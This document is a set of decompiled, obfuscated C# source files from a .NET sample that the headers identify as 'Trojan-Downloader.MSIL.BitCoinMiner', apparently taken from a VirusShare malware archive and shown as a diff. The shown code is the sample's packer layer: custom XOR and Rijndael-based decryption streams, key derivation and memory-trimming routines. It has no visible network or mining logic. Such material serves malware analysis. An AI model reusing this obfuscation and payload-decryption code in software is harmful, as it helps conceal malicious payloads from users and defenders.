||||
|
||||
using \u009C\u0002;
|
||||
using Microsoft.VisualBasic.ApplicationServices;
|
||||
using System;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.ComponentModel;
|
||||
using System.Configuration;
|
||||
using System.Diagnostics;
|
||||
using System.Runtime.CompilerServices;
|
||||
|
||||
namespace Miners.My
|
||||
{
|
||||
[EditorBrowsable(EditorBrowsableState.Advanced)]
|
||||
[CompilerGenerated]
|
||||
[GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "9.0.0.0")]
|
||||
internal sealed class MySettings : ApplicationSettingsBase
|
||||
{
|
||||
private static MySettings \u0001 = (MySettings) \u009A\u0004.\u0019\u0006((SettingsBase) new MySettings());
|
||||
private static bool \u0002;
|
||||
private static object \u0003 = \u001B\u0005.\u008C\u0005(new object());
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
public MySettings()
|
||||
{
|
||||
}
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Advanced)]
|
||||
[DebuggerNonUserCode]
|
||||
private static void \u0017\u0006(object sender, EventArgs e)
|
||||
{
|
||||
if (!\u0007\u0003.\u007E\u0015((object) \u009E\u0002.\u0007\u0006()))
|
||||
return;
|
||||
// ISSUE: reference to a compiler-generated method
|
||||
\u0093\u0003.\u007E\u001B\u0006((object) \u0005\u0003.\u0019\u0006());
|
||||
}
|
||||
|
||||
public static MySettings Default
|
||||
{
|
||||
get
|
||||
{
|
||||
if (!MySettings.\u0002)
|
||||
{
|
||||
object obj = MySettings.\u0003;
|
||||
\u0093\u0003.\u001E(obj);
|
||||
\u0093\u0003.\u009B\u0003(obj);
|
||||
try
|
||||
{
|
||||
if (!MySettings.\u0002)
|
||||
{
|
||||
\u0012\u0003.\u007E\u0010((object) \u009E\u0002.\u0007\u0006(), (ShutdownEventHandler) ((sender, e) =>
|
||||
{
|
||||
if (!\u0007\u0003.\u007E\u0015((object) \u009E\u0002.\u0007\u0006()))
|
||||
return;
|
||||
\u0093\u0003.\u007E\u001B\u0006((object) \u0005\u0003.\u0019\u0006());
|
||||
}));
|
||||
MySettings.\u0002 = true;
|
||||
}
|
||||
}
|
||||
finally
|
||||
{
|
||||
\u0093\u0003.\u009C\u0003(obj);
|
||||
}
|
||||
}
|
||||
return MySettings.\u0001;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@ -1,17 +0,0 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: SmartAssembly.Attributes.PoweredByAttribute
|
||||
// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
|
||||
// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
|
||||
|
||||
using System;
|
||||
|
||||
namespace SmartAssembly.Attributes
|
||||
{
|
||||
public sealed class PoweredByAttribute : Attribute
|
||||
{
|
||||
public PoweredByAttribute(string s)
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
@ -1,51 +0,0 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: .
|
||||
// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
|
||||
// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
|
||||
|
||||
using \u000E;
|
||||
using \u0090;
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace \u0001\u0002
|
||||
{
|
||||
internal class \u0002\u0002
|
||||
{
|
||||
private uint[] \u0001;
|
||||
|
||||
protected byte \u0097\u0003()
|
||||
{
|
||||
uint num = (uint) ((int) this.\u0001[2] & (int) ushort.MaxValue | 2);
|
||||
return (byte) (num * (num ^ 1U) >> 8);
|
||||
}
|
||||
|
||||
protected void \u0098\u0003([In] byte[] obj0)
|
||||
{
|
||||
if (obj0 == null)
|
||||
throw new ArgumentNullException(\u0008.\u000E\u0003(868));
|
||||
if (obj0.Length != 12)
|
||||
throw new InvalidOperationException(\u0008.\u000E\u0003(881));
|
||||
this.\u0001 = new uint[3];
|
||||
this.\u0001[0] = (uint) ((int) obj0[3] << 24 | (int) obj0[2] << 16 | (int) obj0[1] << 8) | (uint) obj0[0];
|
||||
this.\u0001[1] = (uint) ((int) obj0[7] << 24 | (int) obj0[6] << 16 | (int) obj0[5] << 8) | (uint) obj0[4];
|
||||
this.\u0001[2] = (uint) ((int) obj0[11] << 24 | (int) obj0[10] << 16 | (int) obj0[9] << 8) | (uint) obj0[8];
|
||||
}
|
||||
|
||||
protected void \u0099\u0003([In] byte obj0)
|
||||
{
|
||||
this.\u0001[0] = \u0091.\u008A\u0003(this.\u0001[0], obj0);
|
||||
this.\u0001[1] = this.\u0001[1] + (uint) (byte) this.\u0001[0];
|
||||
this.\u0001[1] = (uint) ((int) this.\u0001[1] * 134775813 + 1);
|
||||
this.\u0001[2] = \u0091.\u008A\u0003(this.\u0001[2], (byte) (this.\u0001[1] >> 24));
|
||||
}
|
||||
|
||||
protected void Reset()
|
||||
{
|
||||
this.\u0001[0] = 0U;
|
||||
this.\u0001[1] = 0U;
|
||||
this.\u0001[2] = 0U;
|
||||
}
|
||||
}
|
||||
}
|
||||
@ -1,51 +0,0 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: .
|
||||
// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
|
||||
// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
|
||||
|
||||
using \u0001\u0002;
|
||||
using System;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Security.Cryptography;
|
||||
|
||||
namespace \u0001\u0002
|
||||
{
|
||||
internal sealed class \u0003\u0002 : \u0002\u0002, IDisposable, ICryptoTransform
|
||||
{
|
||||
internal \u0003\u0002([In] byte[] obj0) => this.\u0098\u0003(obj0);
|
||||
|
||||
public byte[] TransformFinalBlock([In] byte[] obj0, [In] int obj1, [In] int obj2)
|
||||
{
|
||||
byte[] numArray = new byte[obj2];
|
||||
this.TransformBlock(obj0, obj1, obj2, numArray, 0);
|
||||
return numArray;
|
||||
}
|
||||
|
||||
public int TransformBlock([In] byte[] obj0, [In] int obj1, [In] int obj2, [In] byte[] obj3, [In] int obj4)
|
||||
{
|
||||
for (int index = obj1; index < obj1 + obj2; ++index)
|
||||
{
|
||||
byte num = obj0[index];
|
||||
obj3[obj4++] = (byte) ((uint) obj0[index] ^ (uint) this.\u0097\u0003());
|
||||
this.\u0099\u0003(num);
|
||||
}
|
||||
return obj2;
|
||||
}
|
||||
|
||||
[SpecialName]
|
||||
public bool get_CanReuseTransform() => true;
|
||||
|
||||
[SpecialName]
|
||||
public int get_InputBlockSize() => 1;
|
||||
|
||||
[SpecialName]
|
||||
public int get_OutputBlockSize() => 1;
|
||||
|
||||
[SpecialName]
|
||||
public bool get_CanTransformMultipleBlocks() => true;
|
||||
|
||||
public void Dispose() => this.Reset();
|
||||
}
|
||||
}
|
||||
@ -1,51 +0,0 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: .
|
||||
// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
|
||||
// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
|
||||
|
||||
using \u0001\u0002;
|
||||
using System;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Security.Cryptography;
|
||||
|
||||
namespace \u0001\u0002
|
||||
{
|
||||
internal sealed class \u0004\u0002 : \u0002\u0002, IDisposable, ICryptoTransform
|
||||
{
|
||||
internal \u0004\u0002([In] byte[] obj0) => this.\u0098\u0003(obj0);
|
||||
|
||||
public byte[] TransformFinalBlock([In] byte[] obj0, [In] int obj1, [In] int obj2)
|
||||
{
|
||||
byte[] numArray = new byte[obj2];
|
||||
this.TransformBlock(obj0, obj1, obj2, numArray, 0);
|
||||
return numArray;
|
||||
}
|
||||
|
||||
public int TransformBlock([In] byte[] obj0, [In] int obj1, [In] int obj2, [In] byte[] obj3, [In] int obj4)
|
||||
{
|
||||
for (int index = obj1; index < obj1 + obj2; ++index)
|
||||
{
|
||||
byte num = (byte) ((uint) obj0[index] ^ (uint) this.\u0097\u0003());
|
||||
obj3[obj4++] = num;
|
||||
this.\u0099\u0003(num);
|
||||
}
|
||||
return obj2;
|
||||
}
|
||||
|
||||
[SpecialName]
|
||||
public bool get_CanReuseTransform() => true;
|
||||
|
||||
[SpecialName]
|
||||
public int get_InputBlockSize() => 1;
|
||||
|
||||
[SpecialName]
|
||||
public int get_OutputBlockSize() => 1;
|
||||
|
||||
[SpecialName]
|
||||
public bool get_CanTransformMultipleBlocks() => true;
|
||||
|
||||
public void Dispose() => this.Reset();
|
||||
}
|
||||
}
|
||||
@ -1,83 +0,0 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: .
|
||||
// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
|
||||
// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
|
||||
|
||||
using \u0001\u0002;
|
||||
using \u000E;
|
||||
using System;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Security.Cryptography;
|
||||
|
||||
namespace \u0001\u0002
|
||||
{
|
||||
internal sealed class \u0005\u0002 : \u009F
|
||||
{
|
||||
private byte[] \u0001;
|
||||
|
||||
[SpecialName]
|
||||
public override int get_BlockSize() => 8;
|
||||
|
||||
[SpecialName]
|
||||
public override void set_BlockSize([In] int obj0)
|
||||
{
|
||||
if (obj0 != 8)
|
||||
throw new CryptographicException(\u0008.\u000E\u0003(914));
|
||||
}
|
||||
|
||||
[SpecialName]
|
||||
public override KeySizes[] get_LegalKeySizes() => new KeySizes[1]
|
||||
{
|
||||
new KeySizes(96, 96, 0)
|
||||
};
|
||||
|
||||
public override void GenerateIV()
|
||||
{
|
||||
}
|
||||
|
||||
[SpecialName]
|
||||
public override KeySizes[] get_LegalBlockSizes() => new KeySizes[1]
|
||||
{
|
||||
new KeySizes(8, 8, 0)
|
||||
};
|
||||
|
||||
[SpecialName]
|
||||
public override byte[] get_Key()
|
||||
{
|
||||
if (this.\u0001 == null)
|
||||
\u0093\u0003.\u007E\u0006\u0006((object) this);
|
||||
return (byte[]) \u001B\u0005.\u007E\u009A((object) this.\u0001);
|
||||
}
|
||||
|
||||
[SpecialName]
|
||||
public override void set_Key([In] byte[] obj0)
|
||||
{
|
||||
if (obj0 == null)
|
||||
throw new ArgumentNullException(\u0008.\u000E\u0003(943));
|
||||
if (obj0.Length != 12)
|
||||
throw new CryptographicException(\u0008.\u000E\u0003(952));
|
||||
this.\u0001 = (byte[]) \u001B\u0005.\u007E\u009A((object) obj0);
|
||||
}
|
||||
|
||||
public override void GenerateKey()
|
||||
{
|
||||
this.\u0001 = new byte[12];
|
||||
Random random = new Random();
|
||||
\u0008\u0004.\u007E\u0090\u0003((object) random, this.\u0001);
|
||||
}
|
||||
|
||||
public override ICryptoTransform CreateEncryptor([In] byte[] obj0, [In] byte[] obj1)
|
||||
{
|
||||
this.\u0001 = obj0;
|
||||
return (ICryptoTransform) new \u0003\u0002(\u008A\u0005.\u007E\u009F\u0005((object) this));
|
||||
}
|
||||
|
||||
public override ICryptoTransform CreateDecryptor([In] byte[] obj0, [In] byte[] obj1)
|
||||
{
|
||||
this.\u0001 = obj0;
|
||||
return (ICryptoTransform) new \u0004\u0002(\u008A\u0005.\u007E\u009F\u0005((object) this));
|
||||
}
|
||||
}
|
||||
}
|
||||
@ -1,89 +0,0 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: .
|
||||
// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
|
||||
// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
|
||||
|
||||
using \u0001\u0002;
|
||||
using \u000E;
|
||||
using System;
|
||||
using System.IO;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Security.Cryptography;
|
||||
|
||||
namespace \u0001\u0002
|
||||
{
|
||||
internal sealed class \u0006\u0002 : CryptoStream
|
||||
{
|
||||
private Stream \u0001;
|
||||
private \u0007\u0002 \u0002;
|
||||
private byte[] \u0003;
|
||||
private int \u0004;
|
||||
private int \u0005;
|
||||
private int \u0006;
|
||||
|
||||
public \u0006\u0002([In] Stream obj0, [In] \u0007\u0002 obj1, [In] CryptoStreamMode obj2)
|
||||
: base(obj0, (ICryptoTransform) obj1, obj2)
|
||||
{
|
||||
this.\u0001 = obj0;
|
||||
this.\u0002 = obj1;
|
||||
this.\u0003 = new byte[1024];
|
||||
this.\u0006 = 26;
|
||||
if (obj2 != CryptoStreamMode.Read)
|
||||
throw new Exception(\u0008.\u000E\u0003(981));
|
||||
}
|
||||
|
||||
public override int Read([In] byte[] obj0, [In] int obj1, [In] int obj2)
|
||||
{
|
||||
int num1 = 0;
|
||||
while (num1 < obj2)
|
||||
{
|
||||
int num2 = this.\u0006 - (this.\u0005 - this.\u0004);
|
||||
if (this.\u0003.Length - this.\u0005 < num2)
|
||||
{
|
||||
int index1 = 0;
|
||||
int index2 = this.\u0004;
|
||||
while (index2 < this.\u0005)
|
||||
{
|
||||
this.\u0003[index1] = this.\u0003[index2];
|
||||
++index2;
|
||||
++index1;
|
||||
}
|
||||
this.\u0005 -= this.\u0004;
|
||||
this.\u0004 = 0;
|
||||
}
|
||||
this.\u0005 += \u0089\u0005.\u007E\u000F\u0005((object) this.\u0001, this.\u0003, this.\u0005, num2);
|
||||
int num3 = this.\u0005 - this.\u0004;
|
||||
if (num3 >= this.\u0006)
|
||||
{
|
||||
this.\u0002.TransformBlock(this.\u0003, this.\u0004, 16, obj0, obj1);
|
||||
num1 += 16;
|
||||
obj1 += 16;
|
||||
this.\u0004 += 16;
|
||||
}
|
||||
else
|
||||
{
|
||||
if (num3 > 10)
|
||||
{
|
||||
int num4 = num3 - 10;
|
||||
this.\u0002.TransformBlock(this.\u0003, this.\u0004, num4, obj0, obj1);
|
||||
num1 += num4;
|
||||
this.\u0004 += num4;
|
||||
}
|
||||
else if (num3 < 10)
|
||||
throw new Exception(\u0008.\u000E\u0003(1018));
|
||||
byte[] numArray = this.\u0002.\u009B\u0003();
|
||||
for (int index = 0; index < 10; ++index)
|
||||
{
|
||||
if ((int) numArray[index] != (int) this.\u0003[this.\u0004 + index])
|
||||
throw new Exception(\u0008.\u000E\u0003(1063));
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
||||
return num1;
|
||||
}
|
||||
|
||||
public override void Write([In] byte[] obj0, [In] int obj1, [In] int obj2) => throw new NotImplementedException();
|
||||
}
|
||||
}
|
||||
@ -1,112 +0,0 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: .
|
||||
// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
|
||||
// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
|
||||
|
||||
using \u000E;
|
||||
using System;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Security.Cryptography;
|
||||
|
||||
namespace \u0001\u0002
|
||||
{
|
||||
internal sealed class \u0007\u0002 : IDisposable, ICryptoTransform
|
||||
{
|
||||
private int \u0001;
|
||||
private ICryptoTransform \u0002;
|
||||
private readonly byte[] \u0003;
|
||||
private byte[] \u0004;
|
||||
private int \u0005;
|
||||
private byte[] \u0006;
|
||||
private HMACSHA1 \u0007;
|
||||
private bool \u0008;
|
||||
private bool \u000E;
|
||||
|
||||
public \u0007\u0002([In] string obj0, [In] byte[] obj1, [In] int obj2, [In] bool obj3)
|
||||
{
|
||||
if (obj2 != 16 && obj2 != 32)
|
||||
throw new Exception(\u0097\u0003.\u001D\u0002((object) \u0008.\u000E\u0003(1265), (object) obj2, (object) \u0008.\u000E\u0003(1290)));
|
||||
if (obj1.Length != obj2 / 2)
|
||||
{
|
||||
object[] objArray = new object[4]
|
||||
{
|
||||
(object) \u0008.\u000E\u0003(1319),
|
||||
(object) (obj2 / 2),
|
||||
(object) \u0008.\u000E\u0003(1356),
|
||||
(object) obj2
|
||||
};
|
||||
throw new Exception(\u008B\u0004.\u001E\u0002(objArray));
|
||||
}
|
||||
this.\u0001 = obj2;
|
||||
this.\u0004 = new byte[this.\u0001];
|
||||
this.\u0005 = 16;
|
||||
Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(obj0, obj1, 1000);
|
||||
RijndaelManaged rijndaelManaged = new RijndaelManaged();
|
||||
\u0092\u0004.\u007E\u0002\u0006((object) rijndaelManaged, CipherMode.ECB);
|
||||
this.\u0003 = new byte[this.\u0001];
|
||||
byte[] numArray = \u001C\u0004.\u007E\u0008\u0006((object) rfc2898DeriveBytes, this.\u0001);
|
||||
byte[] key = \u001C\u0004.\u007E\u0008\u0006((object) rfc2898DeriveBytes, this.\u0001);
|
||||
this.\u0002 = \u008E\u0003.\u007E\u0003\u0006((object) rijndaelManaged, numArray, key);
|
||||
this.\u0006 = \u001C\u0004.\u007E\u0008\u0006((object) rfc2898DeriveBytes, 2);
|
||||
this.\u0007 = new HMACSHA1(key);
|
||||
this.\u000E = obj3;
|
||||
}
|
||||
|
||||
public int TransformBlock([In] byte[] obj0, [In] int obj1, [In] int obj2, [In] byte[] obj3, [In] int obj4)
|
||||
{
|
||||
if (!this.\u000E)
|
||||
{
|
||||
int num1 = \u0094\u0003.\u007E\u000F\u0006((object) this.\u0007, obj0, obj1, obj2, obj0, obj1);
|
||||
}
|
||||
for (int index1 = 0; index1 < obj2; ++index1)
|
||||
{
|
||||
if (this.\u0005 == 16)
|
||||
{
|
||||
int index2 = 0;
|
||||
while (++this.\u0003[index2] == (byte) 0)
|
||||
++index2;
|
||||
int num2 = \u0094\u0003.\u007E\u0099\u0005((object) this.\u0002, this.\u0003, 0, this.\u0001, this.\u0004, 0);
|
||||
this.\u0005 = 0;
|
||||
}
|
||||
obj3[index1 + obj4] = (byte) ((int) obj0[index1 + obj1] ^ (int) this.\u0004[this.\u0005++]);
|
||||
}
|
||||
if (this.\u000E)
|
||||
{
|
||||
int num3 = \u0094\u0003.\u007E\u000F\u0006((object) this.\u0007, obj3, obj4, obj2, obj3, obj4);
|
||||
}
|
||||
return obj2;
|
||||
}
|
||||
|
||||
[SpecialName]
|
||||
public byte[] \u009A\u0003() => this.\u0006;
|
||||
|
||||
public byte[] \u009B\u0003()
|
||||
{
|
||||
if (!this.\u0008)
|
||||
{
|
||||
byte[] numArray1 = new byte[0];
|
||||
byte[] numArray2 = \u0081\u0003.\u007E\u0010\u0006((object) this.\u0007, numArray1, 0, 0);
|
||||
this.\u0008 = true;
|
||||
}
|
||||
return \u008A\u0005.\u007E\u000E\u0006((object) this.\u0007);
|
||||
}
|
||||
|
||||
public byte[] TransformFinalBlock([In] byte[] obj0, [In] int obj1, [In] int obj2) => throw new NotImplementedException(\u0008.\u000E\u0003(1377));
|
||||
|
||||
[SpecialName]
|
||||
public int get_InputBlockSize() => this.\u0001;
|
||||
|
||||
[SpecialName]
|
||||
public int get_OutputBlockSize() => this.\u0001;
|
||||
|
||||
[SpecialName]
|
||||
public bool get_CanTransformMultipleBlocks() => true;
|
||||
|
||||
[SpecialName]
|
||||
public bool get_CanReuseTransform() => true;
|
||||
|
||||
public void Dispose() => \u0093\u0003.\u007E\u009E((object) this.\u0002);
|
||||
}
|
||||
}
|
||||
@ -1,53 +0,0 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: .
|
||||
// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
|
||||
// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
|
||||
|
||||
using \u000E;
|
||||
using \u0090;
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Security.Cryptography;
|
||||
|
||||
namespace \u0001\u0002
|
||||
{
|
||||
internal abstract class \u009F : SymmetricAlgorithm
|
||||
{
|
||||
public static byte[] \u0096\u0003([In] byte[] obj0)
|
||||
{
|
||||
if (obj0 == null)
|
||||
throw new ArgumentNullException(\u0008.\u000E\u0003(838));
|
||||
if (obj0.Length == 0)
|
||||
throw new ArgumentException(\u0008.\u000E\u0003(847), \u0008.\u000E\u0003(838));
|
||||
uint[] numArray = new uint[3]
|
||||
{
|
||||
305419896U,
|
||||
591751049U,
|
||||
878082192U
|
||||
};
|
||||
for (int index = 0; index < obj0.Length; ++index)
|
||||
{
|
||||
numArray[0] = \u0091.\u008A\u0003(numArray[0], obj0[index]);
|
||||
numArray[1] = numArray[1] + (uint) (byte) numArray[0];
|
||||
numArray[1] = (uint) ((int) numArray[1] * 134775813 + 1);
|
||||
numArray[2] = \u0091.\u008A\u0003(numArray[2], (byte) (numArray[1] >> 24));
|
||||
}
|
||||
return new byte[12]
|
||||
{
|
||||
(byte) (numArray[0] & (uint) byte.MaxValue),
|
||||
(byte) (numArray[0] >> 8 & (uint) byte.MaxValue),
|
||||
(byte) (numArray[0] >> 16 & (uint) byte.MaxValue),
|
||||
(byte) (numArray[0] >> 24 & (uint) byte.MaxValue),
|
||||
(byte) (numArray[1] & (uint) byte.MaxValue),
|
||||
(byte) (numArray[1] >> 8 & (uint) byte.MaxValue),
|
||||
(byte) (numArray[1] >> 16 & (uint) byte.MaxValue),
|
||||
(byte) (numArray[1] >> 24 & (uint) byte.MaxValue),
|
||||
(byte) (numArray[2] & (uint) byte.MaxValue),
|
||||
(byte) (numArray[2] >> 8 & (uint) byte.MaxValue),
|
||||
(byte) (numArray[2] >> 16 & (uint) byte.MaxValue),
|
||||
(byte) (numArray[2] >> 24 & (uint) byte.MaxValue)
|
||||
};
|
||||
}
|
||||
}
|
||||
}
|
||||
@ -1,7 +0,0 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type:
|
||||
// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
|
||||
// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
|
||||
|
||||
internal delegate char[] \u0001\u0004();
|
||||
@ -1,10 +0,0 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type:
|
||||
// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
|
||||
// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
|
||||
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
internal delegate Delegate \u0001\u0005([In] object obj0, [In] Type obj1);
|
||||
@ -1,10 +0,0 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type:
|
||||
// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
|
||||
// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
|
||||
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
internal delegate Type \u0002\u0004([In] RuntimeTypeHandle obj0);
|
||||
@ -1,9 +0,0 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type:
|
||||
// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
|
||||
// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
|
||||
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
internal delegate string \u0002\u0005([In] object obj0, [In] object obj1);
|
||||
@ -1,73 +0,0 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: .
|
||||
// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
|
||||
// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
|
||||
|
||||
using \u0003;
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace \u0003
|
||||
{
|
||||
internal sealed class \u0002
|
||||
{
|
||||
private static \u0002 \u0001;
|
||||
private long \u0002 = DateTime.Now.Ticks;
|
||||
|
||||
[DllImport("kernel32", EntryPoint = "SetProcessWorkingSetSize")]
|
||||
private static extern int \u0089(
|
||||
IntPtr process,
|
||||
int minimumWorkingSetSize,
|
||||
int maximumWorkingSetSize);
|
||||
|
||||
private void \u0089()
|
||||
{
|
||||
try
|
||||
{
|
||||
using (Process currentProcess = Process.GetCurrentProcess())
|
||||
\u0002.\u0089(currentProcess.Handle, -1, -1);
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
private void \u0089(object sender, EventArgs e)
|
||||
{
|
||||
try
|
||||
{
|
||||
long ticks = DateTime.Now.Ticks;
|
||||
if (ticks - this.\u0002 <= 10000000L)
|
||||
return;
|
||||
this.\u0002 = ticks;
|
||||
this.\u0089();
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
private \u0002()
|
||||
{
|
||||
// ISSUE: method pointer
|
||||
Application.Idle += new EventHandler((object) this, __methodptr(\u0089));
|
||||
this.\u0089();
|
||||
}
|
||||
|
||||
public static void \u0007\u0003()
|
||||
{
|
||||
try
|
||||
{
|
||||
if (Environment.OSVersion.Platform != PlatformID.Win32NT)
|
||||
return;
|
||||
\u0002.\u0001 = new \u0002();
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@ -1,9 +0,0 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type:
|
||||
// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
|
||||
// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
|
||||
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
internal delegate int \u0003\u0004([In] object obj0, [In] char[] obj1, [In] int obj2);
|
||||
@ -1,9 +0,0 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type:
|
||||
// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
|
||||
// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
|
||||
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
